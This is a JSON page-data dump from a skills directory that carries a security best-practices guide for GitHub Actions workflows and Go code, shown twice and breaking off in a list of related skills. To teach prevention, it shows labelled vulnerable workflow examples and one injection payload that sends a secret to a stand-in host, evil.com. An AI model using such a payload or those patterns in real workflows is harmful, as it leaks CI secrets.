[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AD51R68HZN70D513X7K96S":3,"skill-same:01M6AD51R68HZN70D513X7K96S":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M6AD51R68HZN70D513X7K96S","developer-security",null,"Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.","github\u002Fgh-aw","github","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F9919?v=4","01M6AC83DS133TPXFSP1DHNCC6","GitHub","01M6AD3VCZ4WKQSFSRTPN7N9DN",5636,"MIT","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.github\u002Fskills\u002Fdeveloper-security\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"security","developer security","developer","static","go","for","supply","chain","supply chain","gh","template","shell","analysis","prevention","injection","integration","security best practices","best practices","code","workflows","static analysis","2026-11-10 10:12:30",false,"---\nname: developer-security\ndescription: \"Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.\"\n---\n\n\n# Security Best Practices\n\nUse this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.\n\n## Table of Contents\n\n- [Template Injection Prevention](#template-injection-prevention)\n- [Cross-Trigger Nullability](#cross-trigger-nullability-in-generated-conditional-expressions)\n- [Shell Script Best Practices](#shell-script-best-practices)\n- [Supply Chain Security](#supply-chain-security)\n- [Workflow Structure and Permissions](#workflow-structure-and-permissions)\n- [Static Analysis Integration](#static-analysis-integration)\n- [Review Reporting](#review-reporting)\n- [Security Checklist](#security-checklist)\n\n### Template Injection Prevention\n\nTemplate injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.\n\n#### Understanding the Risk\n\nGitHub Actions expressions (`${{ }}`) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.\n\n#### Insecure Pattern\n\n```yaml\n# VULNERABLE: Direct use of untrusted input\nname: Process Issue\non:\n  issues:\n    types: [opened]\n\njobs:\n  process:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo issue title\n        run: echo \"${{ github.event.issue.title }}\"\n```\n\n**Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `\"; curl evil.com\u002F?secret=$SECRET; echo \"`\n\n#### Secure Pattern: Environment Variables\n\n```yaml\n# SECURE: Use environment variables\nname: Process Issue\non:\n  issues:\n    types: [opened]\n\njobs:\n  process:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo issue title\n        env:\n          ISSUE_TITLE: ${{ github.event.issue.title }}\n        run: echo \"$ISSUE_TITLE\"\n```\n\n**Why secure:** Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.\n\n#### Data Flow Comparison\n\n```mermaid\ngraph TB\n    subgraph \"Unsafe Pattern\"\n        A1[Untrusted Input] --> B1[\"Template Expression\u003Cbr\u002F>${{ ... }}\"]\n        B1 --> C1[Direct Interpolation\u003Cbr\u002F>into Shell Command]\n        C1 --> D1[Code Execution Risk]\n        style D1 fill:#f88,stroke:#f00\n    end\n\n    subgraph \"Safe Pattern\"\n        A2[Untrusted Input] --> B2[\"Template Expression\u003Cbr\u002F>${{ ... }}\"]\n        B2 --> C2[Environment Variable\u003Cbr\u002F>Assignment]\n        C2 --> D2[Shell Receives\u003Cbr\u002F>Data Only]\n        D2 --> E2[No Code Execution]\n        style E2 fill:#8f8,stroke:#0f0\n    end\n```\n\n#### Recent Fixes (November 2025)\n\nTemplate injection vulnerabilities were identified and fixed in:\n- `copilot-session-insights.md` - Step output passed through environment variable\n- Pattern: Move template expressions from bash scripts to environment variable assignments\n\nSee `scratchpad\u002Ftemplate-injection-prevention.md` for detailed analysis and fix documentation.\n\n#### Secure Pattern: Sanitized Context (gh-aw specific)\n\n```yaml\n# SECURE: Use sanitized context output\nAnalyze this content: \"${{ steps.sanitized.outputs.text }}\"\n```\n\nThe `steps.sanitized.outputs.text` output is automatically sanitized:\n- @mentions neutralized\n- Bot triggers protected\n- XML tags converted to safe format\n- Only HTTPS URIs from trusted domains\n- Content limits enforced (0.5MB, 65k lines)\n- Control characters removed\n\n#### Safe Context Variables\n\n**Always safe to use in expressions:**\n- `github.actor`\n- `github.repository`\n- `github.run_id`\n- `github.run_number`\n- `github.sha`\n\n**Never safe in expressions without environment variable indirection:**\n- `github.event.issue.title`\n- `github.event.issue.body`\n- `github.event.comment.body`\n- `github.event.pull_request.title`\n- `github.event.pull_request.body`\n- `github.head_ref` (can be controlled by PR authors)\n\n### Cross-Trigger Nullability in Generated Conditional Expressions\n\nWhen Go code generates GitHub Actions `if:` expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.\n\nGitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example `github.event.pull_request.*` on `push`, `workflow_dispatch`, or `schedule`).\n\n#### Insecure Pattern (missing trigger guard)\n\n```go\n\u002F\u002F VULNERABLE: pull_request-only fields referenced unconditionally\ncondition := fmt.Sprintf(\n    \"github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position \u003C= %d\",\n    minPos,\n    maxPos,\n)\n```\n\n**Why vulnerable:** On non-PR triggers, `github.event.pull_request` is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (`startup_failure`) before workflow error handling can run.\n\n#### Secure Pattern (event_name + nullability guard)\n\n```go\n\u002F\u002F SECURE: gate nested pull_request fields behind explicit trigger and null checks\ncondition := fmt.Sprintf(\n    \"github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position \u003C= %d\",\n    minPos,\n    maxPos,\n)\n```\n\n#### Required Guidance for Condition Generation\n\n- Guard every trigger-specific object chain (`github.event.pull_request.*`, `github.event.issue.*`, etc.) with `github.event_name` checks.\n- Add nullability guards for each parent object in the chain before accessing deeper properties.\n- For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.\n- Prefer conservative composition (`A && B && C`) where early terms validate event type\u002Fobject existence before nested access.\n\n#### Verification Checklist\n\n- Enumerate all declared triggers in the generated workflow.\n- For each generated condition, confirm nested event-field access is valid for every trigger.\n- Validate that unsupported triggers short-circuit before nested field access.\n- Add\u002Fupdate tests in `pkg\u002Fworkflow\u002F*filter*.go` (or equivalent) that assert safe conditions for mixed-trigger workflows.\n\n### Shell Script Best Practices\n\n#### SC2086: Double Quote to Prevent Globbing and Word Splitting\n\n**Insecure:**\n```yaml\nsteps:\n  - name: Process files\n    run: |\n      FILES=$(ls *.txt)\n      for file in $FILES; do\n        echo $file\n      done\n```\n\n**Why vulnerable:** Variables can be split on whitespace, glob patterns are expanded, potential command injection.\n\n**Secure:**\n```yaml\nsteps:\n  - name: Process files\n    run: |\n      while IFS= read -r file; do\n        echo \"$file\"\n      done \u003C \u003C(find . -name \"*.txt\")\n```\n\n#### Shell Script Security Checklist\n\n- Always quote variable expansions: `\"$VAR\"`\n- Use `[[ ]]` instead of `[ ]` for conditionals\n- Use `$()` instead of backticks for command substitution\n- Enable strict mode: `set -euo pipefail`\n- Validate and sanitize all inputs\n- Use shellcheck to catch common issues\n\n**Example secure script:**\n```yaml\nsteps:\n  - name: Secure script\n    env:\n      INPUT_VALUE: ${{ github.event.inputs.value }}\n    run: |\n      set -euo pipefail\n\n      if [[ ! \"$INPUT_VALUE\" =~ ^[a-zA-Z0-9_-]+$ ]]; then\n        echo \"Invalid input format\"\n        exit 1\n      fi\n\n      echo \"Processing: $INPUT_VALUE\"\n\n      result=$(grep -r \"$INPUT_VALUE\" . || true)\n      echo \"$result\"\n```\n\n### Supply Chain Security\n\nSupply chain attacks target dependencies in CI\u002FCD pipelines.\n\n#### Pin Action Versions with SHA\n\n**Insecure:**\n```yaml\nsteps:\n  - uses: actions\u002Fcheckout@v5           # Tag can be moved\n  - uses: actions\u002Fsetup-node@main       # Branch can be updated\n```\n\n**Why vulnerable:** Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.\n\n**Secure:**\n```yaml\nsteps:\n  - uses: actions\u002Fcheckout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n  - uses: actions\u002Fsetup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2\n```\n\n**Why secure:** SHA commits are immutable. Comments indicate human-readable version for updates.\n\n#### Finding SHA for Actions\n\n```bash\n# Get SHA for a specific tag\ngit ls-remote https:\u002F\u002Fgithub.com\u002Factions\u002Fcheckout v4.1.1\n\n# Or use GitHub API\ncurl -s https:\u002F\u002Fapi.github.com\u002Frepos\u002Factions\u002Fcheckout\u002Fgit\u002Frefs\u002Ftags\u002Fv4.1.1\n```\n\n### Workflow Structure and Permissions\n\n#### Minimal Permissions Principle\n\n**Insecure:**\n```yaml\nname: CI\non: [push]\n\npermissions: write-all\n```\n\n**Secure:**\n```yaml\nname: CI\non: [push]\n\npermissions:\n  contents: read\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm test\n```\n\n#### Job-Level Permissions\n\n```yaml\nname: CI\u002FCD\non: [push]\n\npermissions:\n  contents: read\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm test\n\n  deploy:\n    needs: test\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      deployments: write\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm run deploy\n```\n\n#### Available Permissions\n\n| Permission | Read | Write | Use Case |\n|------------|------|-------|----------|\n| contents | Read code | Push code | Repository access |\n| issues | Read issues | Create\u002Fedit issues | Issue management |\n| pull-requests | Read PRs | Create\u002Fedit PRs | PR management |\n| actions | Read runs | Cancel runs | Workflow management |\n| checks | Read checks | Create checks | Status checks |\n| deployments | Read deployments | Create deployments | Deployment management |\n\n### Static Analysis Integration\n\nIntegrate static analysis tools into development and CI\u002FCD workflows:\n\n#### Available Tools\n\n- **actionlint** - Lints GitHub Actions workflows, validates shell scripts\n- **zizmor** - Security vulnerability scanner for GitHub Actions\n- **poutine** - Supply chain security analyzer\n\n#### Running Locally\n\n```bash\n# Run individual scanners\nactionlint .github\u002Fworkflows\u002F*.yml\nzizmor .github\u002Fworkflows\u002F\npoutine analyze .github\u002Fworkflows\u002F\n\n# For gh-aw workflows\ngh aw compile --actionlint\ngh aw compile --zizmor\ngh aw compile --poutine\n\n# Strict mode: fail on findings\ngh aw compile --strict --actionlint --zizmor --poutine\n```\n\n### Review Reporting\n\nShow a findings table only when confirmed findings exist. Otherwise, state\n\"No confirmed vulnerabilities found\" without an empty table or placeholder row.\nThis applies to final replies and task-completion summaries: omit the entire\nfindings table when empty, including its header; never put the no-findings\nsentence in a table row.\nReport validation blockers and incomplete coverage separately. Follow the\n[debug security-review gate](..\u002F..\u002Faw\u002Fdebug-security-review.md#user-visible-result)\nfor workflow execution reviews.\n\n### Security Checklist\n\n#### Template Injection\n- [ ] No untrusted input in `${{ }}` expressions\n- [ ] Untrusted data passed via environment variables\n- [ ] Safe context variables used where possible\n- [ ] Sanitized context used (gh-aw: `steps.sanitized.outputs.text`)\n\n#### Shell Scripts\n- [ ] All variables quoted: `\"$VAR\"`\n- [ ] No SC2086 warnings (unquoted expansion)\n- [ ] Strict mode enabled: `set -euo pipefail`\n- [ ] Input validation implemented\n- [ ] shellcheck passes with no warnings\n\n#### Supply Chain\n- [ ] All actions pinned to SHA (not tags\u002Fbranches)\n- [ ] Version comments added to pinned actions\n- [ ] Actions from verified creators or reviewed\n- [ ] Dependencies scanned for vulnerabilities\n\n#### Permissions\n- [ ] Minimal permissions specified\n- [ ] No `write-all` permissions\n- [ ] Job-level permissions used when needed\n- [ ] Fork PR handling secure\n\n#### Static Analysis\n- [ ] actionlint passes (no errors)\n- [ ] zizmor passes (High\u002FCritical addressed)\n- [ ] poutine passes (supply chain secure)\n","# Security Best Practices\n\nUse this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.\n\n## Table of Contents\n\n- [Template Injection Prevention](#template-injection-prevention)\n- [Cross-Trigger Nullability](#cross-trigger-nullability-in-generated-conditional-expressions)\n- [Shell Script Best Practices](#shell-script-best-practices)\n- [Supply Chain Security](#supply-chain-security)\n- [Workflow Structure and Permissions](#workflow-structure-and-permissions)\n- [Static Analysis Integration](#static-analysis-integration)\n- [Review Reporting](#review-reporting)\n- [Security Checklist](#security-checklist)\n\n### Template Injection Prevention\n\nTemplate injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.\n\n#### Understanding the Risk\n\nGitHub Actions expressions (`${{ }}`) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.\n\n#### Insecure Pattern\n\n```yaml\n# VULNERABLE: Direct use of untrusted input\nname: Process Issue\non:\n  issues:\n    types: [opened]\n\njobs:\n  process:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo issue title\n        run: echo \"${{ github.event.issue.title }}\"\n```\n\n**Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `\"; curl evil.com\u002F?secret=$SECRET; echo \"`\n\n#### Secure Pattern: Environment Variables\n\n```yaml\n# SECURE: Use environment variables\nname: Process Issue\non:\n  issues:\n    types: [opened]\n\njobs:\n  process:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo issue title\n        env:\n          ISSUE_TITLE: ${{ github.event.issue.title }}\n        run: echo \"$ISSUE_TITLE\"\n```\n\n**Why secure:** Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.\n\n#### Data Flow Comparison\n\n```mermaid\ngraph TB\n    subgraph \"Unsafe Pattern\"\n        A1[Untrusted Input] --> B1[\"Template Expression\u003Cbr\u002F>${{ ... }}\"]\n        B1 --> C1[Direct Interpolation\u003Cbr\u002F>into Shell Command]\n        C1 --> D1[Code Execution Risk]\n        style D1 fill:#f88,stroke:#f00\n    end\n\n    subgraph \"Safe Pattern\"\n        A2[Untrusted Input] --> B2[\"Template Expression\u003Cbr\u002F>${{ ... }}\"]\n        B2 --> C2[Environment Variable\u003Cbr\u002F>Assignment]\n        C2 --> D2[Shell Receives\u003Cbr\u002F>Data Only]\n        D2 --> E2[No Code Execution]\n        style E2 fill:#8f8,stroke:#0f0\n    end\n```\n\n#### Recent Fixes (November 2025)\n\nTemplate injection vulnerabilities were identified and fixed in:\n- `copilot-session-insights.md` - Step output passed through environment variable\n- Pattern: Move template expressions from bash scripts to environment variable assignments\n\nSee `scratchpad\u002Ftemplate-injection-prevention.md` for detailed analysis and fix documentation.\n\n#### Secure Pattern: Sanitized Context (gh-aw specific)\n\n```yaml\n# SECURE: Use sanitized context output\nAnalyze this content: \"${{ steps.sanitized.outputs.text }}\"\n```\n\nThe `steps.sanitized.outputs.text` output is automatically sanitized:\n- @mentions neutralized\n- Bot triggers protected\n- XML tags converted to safe format\n- Only HTTPS URIs from trusted domains\n- Content limits enforced (0.5MB, 65k lines)\n- Control characters removed\n\n#### Safe Context Variables\n\n**Always safe to use in expressions:**\n- `github.actor`\n- `github.repository`\n- `github.run_id`\n- `github.run_number`\n- `github.sha`\n\n**Never safe in expressions without environment variable indirection:**\n- `github.event.issue.title`\n- `github.event.issue.body`\n- `github.event.comment.body`\n- `github.event.pull_request.title`\n- `github.event.pull_request.body`\n- `github.head_ref` (can be controlled by PR authors)\n\n### Cross-Trigger Nullability in Generated Conditional Expressions\n\nWhen Go code generates GitHub Actions `if:` expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.\n\nGitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example `github.event.pull_request.*` on `push`, `workflow_dispatch`, or `schedule`).\n\n#### Insecure Pattern (missing trigger guard)\n\n```go\n\u002F\u002F VULNERABLE: pull_request-only fields referenced unconditionally\ncondition := fmt.Sprintf(\n    \"github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position \u003C= %d\",\n    minPos,\n    maxPos,\n)\n```\n\n**Why vulnerable:** On non-PR triggers, `github.event.pull_request` is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (`startup_failure`) before workflow error handling can run.\n\n#### Secure Pattern (event_name + nullability guard)\n\n```go\n\u002F\u002F SECURE: gate nested pull_request fields behind explicit trigger and null checks\ncondition := fmt.Sprintf(\n    \"github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position \u003C= %d\",\n    minPos,\n    maxPos,\n)\n```\n\n#### Required Guidance for Condition Generation\n\n- Guard every trigger-specific object chain (`github.event.pull_request.*`, `github.event.issue.*`, etc.) with `github.event_name` checks.\n- Add nullability guards for each parent object in the chain before accessing deeper properties.\n- For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.\n- Prefer conservative composition (`A && B && C`) where early terms validate event type\u002Fobject existence before nested access.\n\n#### Verification Checklist\n\n- Enumerate all declared triggers in the generated workflow.\n- For each generated condition, confirm nested event-field access is valid for every trigger.\n- Validate that unsupported triggers short-circuit before nested field access.\n- Add\u002Fupdate tests in `pkg\u002Fworkflow\u002F*filter*.go` (or equivalent) that assert safe conditions for mixed-trigger workflows.\n\n### Shell Script Best Practices\n\n#### SC2086: Double Quote to Prevent Globbing and Word Splitting\n\n**Insecure:**\n```yaml\nsteps:\n  - name: Process files\n    run: |\n      FILES=$(ls *.txt)\n      for file in $FILES; do\n        echo $file\n      done\n```\n\n**Why vulnerable:** Variables can be split on whitespace, glob patterns are expanded, potential command injection.\n\n**Secure:**\n```yaml\nsteps:\n  - name: Process files\n    run: |\n      while IFS= read -r file; do\n        echo \"$file\"\n      done \u003C \u003C(find . -name \"*.txt\")\n```\n\n#### Shell Script Security Checklist\n\n- Always quote variable expansions: `\"$VAR\"`\n- Use `[[ ]]` instead of `[ ]` for conditionals\n- Use `$()` instead of backticks for command substitution\n- Enable strict mode: `set -euo pipefail`\n- Validate and sanitize all inputs\n- Use shellcheck to catch common issues\n\n**Example secure script:**\n```yaml\nsteps:\n  - name: Secure script\n    env:\n      INPUT_VALUE: ${{ github.event.inputs.value }}\n    run: |\n      set -euo pipefail\n\n      if [[ ! \"$INPUT_VALUE\" =~ ^[a-zA-Z0-9_-]+$ ]]; then\n        echo \"Invalid input format\"\n        exit 1\n      fi\n\n      echo \"Processing: $INPUT_VALUE\"\n\n      result=$(grep -r \"$INPUT_VALUE\" . || true)\n      echo \"$result\"\n```\n\n### Supply Chain Security\n\nSupply chain attacks target dependencies in CI\u002FCD pipelines.\n\n#### Pin Action Versions with SHA\n\n**Insecure:**\n```yaml\nsteps:\n  - uses: actions\u002Fcheckout@v5           # Tag can be moved\n  - uses: actions\u002Fsetup-node@main       # Branch can be updated\n```\n\n**Why vulnerable:** Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.\n\n**Secure:**\n```yaml\nsteps:\n  - uses: actions\u002Fcheckout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n  - uses: actions\u002Fsetup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2\n```\n\n**Why secure:** SHA commits are immutable. Comments indicate human-readable version for updates.\n\n#### Finding SHA for Actions\n\n```bash\n# Get SHA for a specific tag\ngit ls-remote https:\u002F\u002Fgithub.com\u002Factions\u002Fcheckout v4.1.1\n\n# Or use GitHub API\ncurl -s https:\u002F\u002Fapi.github.com\u002Frepos\u002Factions\u002Fcheckout\u002Fgit\u002Frefs\u002Ftags\u002Fv4.1.1\n```\n\n### Workflow Structure and Permissions\n\n#### Minimal Permissions Principle\n\n**Insecure:**\n```yaml\nname: CI\non: [push]\n\npermissions: write-all\n```\n\n**Secure:**\n```yaml\nname: CI\non: [push]\n\npermissions:\n  contents: read\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm test\n```\n\n#### Job-Level Permissions\n\n```yaml\nname: CI\u002FCD\non: [push]\n\npermissions:\n  contents: read\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm test\n\n  deploy:\n    needs: test\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      deployments: write\n    steps:\n      - uses: actions\u002Fcheckout@sha\n      - run: npm run deploy\n```\n\n#### Available Permissions\n\n| Permission | Read | Write | Use Case |\n|------------|------|-------|----------|\n| contents | Read code | Push code | Repository access |\n| issues | Read issues | Create\u002Fedit issues | Issue management |\n| pull-requests | Read PRs | Create\u002Fedit PRs | PR management |\n| actions | Read runs | Cancel runs | Workflow management |\n| checks | Read checks | Create checks | Status checks |\n| deployments | Read deployments | Create deployments | Deployment management |\n\n### Static Analysis Integration\n\nIntegrate static analysis tools into development and CI\u002FCD workflows:\n\n#### Available Tools\n\n- **actionlint** - Lints GitHub Actions workflows, validates shell scripts\n- **zizmor** - Security vulnerability scanner for GitHub Actions\n- **poutine** - Supply chain security analyzer\n\n#### Running Locally\n\n```bash\n# Run individual scanners\nactionlint .github\u002Fworkflows\u002F*.yml\nzizmor .github\u002Fworkflows\u002F\npoutine analyze .github\u002Fworkflows\u002F\n\n# For gh-aw workflows\ngh aw compile --actionlint\ngh aw compile --zizmor\ngh aw compile --poutine\n\n# Strict mode: fail on findings\ngh aw compile --strict --actionlint --zizmor --poutine\n```\n\n### Review Reporting\n\nShow a findings table only when confirmed findings exist. Otherwise, state\n\"No confirmed vulnerabilities found\" without an empty table or placeholder row.\nThis applies to final replies and task-completion summaries: omit the entire\nfindings table when empty, including its header; never put the no-findings\nsentence in a table row.\nReport validation blockers and incomplete coverage separately. Follow the\n[debug security-review gate](..\u002F..\u002Faw\u002Fdebug-security-review.md#user-visible-result)\nfor workflow execution reviews.\n\n### Security Checklist\n\n#### Template Injection\n- [ ] No untrusted input in `${{ }}` expressions\n- [ ] Untrusted data passed via environment variables\n- [ ] Safe context variables used where possible\n- [ ] Sanitized context used (gh-aw: `steps.sanitized.outputs.text`)\n\n#### Shell Scripts\n- [ ] All variables quoted: `\"$VAR\"`\n- [ ] No SC2086 warnings (unquoted expansion)\n- [ ] Strict mode enabled: `set -euo pipefail`\n- [ ] Input validation implemented\n- [ ] shellcheck passes with no warnings\n\n#### Supply Chain\n- [ ] All actions pinned to SHA (not tags\u002Fbranches)\n- [ ] Version comments added to pinned actions\n- [ ] Actions from verified creators or reviewed\n- [ ] Dependencies scanned for vulnerabilities\n\n#### Permissions\n- [ ] Minimal permissions specified\n- [ ] No `write-all` permissions\n- [ ] Job-level permissions used when needed\n- [ ] Fork PR handling secure\n\n#### Static Analysis\n- [ ] actionlint passes (no errors)\n- [ ] zizmor passes (High\u002FCritical addressed)\n- [ ] poutine passes (supply chain secure)\n",{"name":5,"description":7},"main","8541229759617347888641eba917d3b0ad66a984",".github\u002Fskills\u002Fdeveloper-security",626,"https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw","https:\u002F\u002Fgh.io\u002Fgh-aw","https:\u002F\u002Fgithub.com\u002Fgithub","https:\u002F\u002Fgithub.com\u002Fabout","How people build software.","2026-11-15 06:45:15",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add github\u002Fgh-aw --skill developer-security",{"tool":66,"command":67},"bunx","bunx skills add github\u002Fgh-aw --skill developer-security",{"tool":69,"command":70},"pnpm","pnpm dlx skills add github\u002Fgh-aw --skill developer-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.github\u002Fskills\u002Fdeveloper-security\u002FSKILL.md",true,[],[75,83,91,117,135,160],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":82},"01M7DQYVZ9W9DDXKQ9452SNP8J","cracktro","Edit, preview, and verify the standalone interactive talk deck in docs\u002Fpublic\u002Fcracktro (slides, SVG diagrams, transitions, WebAudio sound).","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.github\u002Fskills\u002Fcracktro\u002FSKILL.md",[],[],"2026-11-15 14:19:17",{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":90},"01M7612HQ4378TK8QZ5HPAF4KR","create-connector","Create or extend a declaration-only third-party connector, with narrow reads, separate safe outputs, optional protected triggers, and offline conformance evidence.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.github\u002Fskills\u002Fcreate-connector\u002FSKILL.md",[],[],"2026-11-12 13:55:43",{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":105,"publishedAt":45},"01M6ADC942STTXHFV410J4DH0X","GitHub Agentic Workflows","GitHub Agentic Workflows (`gh-aw`) is a GitHub CLI extension for writing Agentic Workflows in markdown and compiling them to GitHub Actions.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002FSKILL.md",[97,102],{"categoryNo":98,"categoryName":99,"taxonomyType":100,"taxonomyTypeDesc":101},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",{"categoryNo":103,"categoryName":104,"taxonomyType":100,"taxonomyTypeDesc":101},"01JBSEEDCAT000000000000023","Skill与智能体开发",[9,106,107,43,108,109,110,111,112,33,29,113,114,115,116],"github agentic workflows","agentic workflows","agentic","extension","markdown","github cli","cli","compiling","writing","github actions","actions",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":45},"01M6ADC6ZXSA46N9XD6VNAP1MS","windows-compatibility","Cross-platform path handling and command patterns","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.squad\u002Ftemplates\u002Fskills\u002Fwindows-compatibility\u002FSKILL.md",[],[124,125,126,127,128,129,130,131,132,133,134],"windows","windows compatibility","compatibility","command","git","bugs","platform","high","patterns","cross-platform","path",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":45},"01M6ADC44957SVQF96R5YY247P","versioning-policy","Semver versioning rules for Squad SDK and CLI — prevents prerelease version incidents","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fgh-aw\u002Fblob\u002Fmain\u002F.squad\u002Ftemplates\u002Fskills\u002Fversioning-policy\u002FSKILL.md",[],[142,143,144,145,146,112,147,148,149,150,151,152,153,154,29,155,156,157,158,159],"versioning","policy","versioning policy","gate","implementation","workspace","pr","sdk","release","ci","npm","semver","squad","incident","incidents","Rules","version","resolution",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":170,"publishedAt":45},"01M6ADC1PHMEAEVR87F8PDR89X","tiered-memory","Three-tier agent memory model (hot\u002Fcold\u002Fwiki) for context reduction per 